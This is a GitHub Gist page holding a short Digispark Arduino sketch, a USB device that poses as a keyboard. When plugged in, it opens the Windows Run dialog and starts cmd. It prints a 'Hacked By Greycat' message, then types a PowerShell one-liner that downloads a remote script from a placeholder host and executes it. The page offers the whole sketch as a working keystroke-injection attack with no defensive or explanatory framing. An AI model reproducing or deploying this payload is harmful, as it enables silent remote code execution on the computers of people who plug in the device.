Created
May 29, 2025 17:07
-
-
Save robyfirnandoyusuf/9f02edf1829aa102feb478888b1659c1 to your computer and use it in GitHub Desktop.
digispark code
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include "DigiKeyboard.h" | |
| void setup() { | |
| } | |
| void loop() { | |
| DigiKeyboard.sendKeyStroke(0); | |
| DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); | |
| DigiKeyboard.delay(500); | |
| DigiKeyboard.println("cmd"); | |
| DigiKeyboard.delay(500); | |
| DigiKeyboard.println("echo Your Computer has been Hacked By Greycat!"); | |
| DigiKeyboard.delay(500); | |
| DigiKeyboard.println("powershell -c \"iwr http://cloudhost/exploit.ps1 | iex\""); | |
| DigiKeyboard.delay(300); | |
| DigiKeyboard.sendKeyStroke(KEY_ENTER); | |
| while (true) | |
| { | |
| digitalWrite(0, HIGH); | |
| digitalWrite(1, HIGH); | |
| delay(300); | |
| digitalWrite(0, LOW); | |
| digitalWrite(1, LOW); | |
| delay(300); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment